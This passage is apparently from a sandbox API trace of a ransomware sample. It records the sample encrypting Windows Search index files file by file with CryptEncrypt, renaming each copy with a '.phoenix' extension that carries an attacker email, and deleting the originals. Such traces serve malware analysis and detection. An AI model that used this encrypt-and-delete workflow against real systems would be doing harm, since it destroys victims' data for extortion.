	[0260.300] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb.jtx")) returned 1
	[0260.371] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00009.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00009.jtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0260.627] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1048576) returned 1
	[0260.627] CloseHandle (hObject=0x310) returned 1
	[0260.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00009.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00009.jtx")) returned 0x2020
	[0260.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00009.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00009.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00009.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00009.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.638] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.638] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00009.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00009.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0260.641] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.641] ReadFile (in: hFile=0x258, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x100000, lpOverlapped=0x0) returned 1
	[0260.674] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010, dwBufLen=0x100010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010) returned 1
	[0260.675] WriteFile (in: hFile=0x250, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x100010, lpOverlapped=0x0) returned 1
	[0260.699] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0260.700] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.700] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0260.700] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0260.700] WriteFile (in: hFile=0x250, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0260.700] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.700] CloseHandle (hObject=0x258) returned 1
	[0260.700] CloseHandle (hObject=0x250) returned 1
	[0260.700] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00009.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00009.jtx")) returned 1
	[0260.757] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00002.jrs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.757] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1048576) returned 1
	[0260.757] CloseHandle (hObject=0x250) returned 1
	[0260.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00002.jrs")) returned 0x2020
	[0260.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00002.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00002.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.758] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.758] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00002.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00002.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.758] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0260.758] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.758] ReadFile (in: hFile=0x250, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x100000, lpOverlapped=0x0) returned 1
	[0260.780] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010, dwBufLen=0x100010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010) returned 1
	[0260.781] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x100010, lpOverlapped=0x0) returned 1
	[0260.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0260.802] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0260.802] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0260.802] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.802] WriteFile (in: hFile=0x258, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0260.802] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0260.802] CloseHandle (hObject=0x250) returned 1
	[0260.802] CloseHandle (hObject=0x258) returned 1
	[0260.803] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00002.jrs")) returned 1
	[0260.933] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0260.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbtmp.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbtmp.jtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.933] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1048576) returned 1
	[0260.933] CloseHandle (hObject=0x2e0) returned 1
	[0260.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbtmp.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbtmp.jtx")) returned 0x2020
	[0260.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbtmp.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbtmp.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.934] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbtmp.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbtmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.934] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.934] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0260.934] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbtmp.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbtmp.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0261.079] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0261.080] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.080] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x100000, lpOverlapped=0x0) returned 1
	[0261.396] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010, dwBufLen=0x100010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x100010) returned 1
	[0261.397] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x100010, lpOverlapped=0x0) returned 1
	[0261.418] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0261.418] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.418] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0261.418] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.418] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0261.418] CryptDestroyKey (hKey=0x151780) returned 1
	[0261.418] CloseHandle (hObject=0x2e0) returned 1
	[0261.418] CloseHandle (hObject=0x2d0) returned 1
	[0261.419] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbtmp.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbtmp.jtx")) returned 1
	[0261.426] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.crwl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.432] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=834) returned 1
	[0261.432] CloseHandle (hObject=0x2e0) returned 1
	[0261.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.crwl")) returned 0x2020
	[0261.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.Crwl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.crwl.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.432] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.crwl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.432] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.432] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.432] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.Crwl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.crwl.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.433] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0261.433] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.433] ReadFile (in: hFile=0x2e0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x342, lpOverlapped=0x0) returned 1
	[0261.515] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0261.515] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0261.516] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0261.516] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.516] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0261.516] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.516] WriteFile (in: hFile=0x254, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0261.516] CryptDestroyKey (hKey=0x151780) returned 1
	[0261.516] CloseHandle (hObject=0x2e0) returned 1
	[0261.516] CloseHandle (hObject=0x254) returned 1
	[0261.516] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.crwl")) returned 1
	[0261.517] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.517] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.crwl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.521] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2) returned 1
	[0261.521] CloseHandle (hObject=0x254) returned 1
	[0261.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.crwl")) returned 0x2020
	[0261.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.Crwl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.crwl.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.crwl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0261.521] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.522] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0261.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.Crwl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.crwl.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.522] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0261.522] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.522] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2, lpOverlapped=0x0) returned 1
	[0261.523] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x10, dwBufLen=0x10 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x10) returned 1
	[0261.523] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x10, lpOverlapped=0x0) returned 1
	[0261.524] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0261.524] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0261.524] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0261.524] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.524] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0261.524] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.524] CloseHandle (hObject=0x254) returned 1
	[0261.524] CloseHandle (hObject=0x2e0) returned 1
	[0261.524] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.crwl")) returned 1
	[0261.525] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.525] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.gthr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.526] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=490) returned 1
	[0261.526] CloseHandle (hObject=0x2e0) returned 1
	[0261.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.gthr")) returned 0x2020
	[0261.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.3.gthr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.3.gthr.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
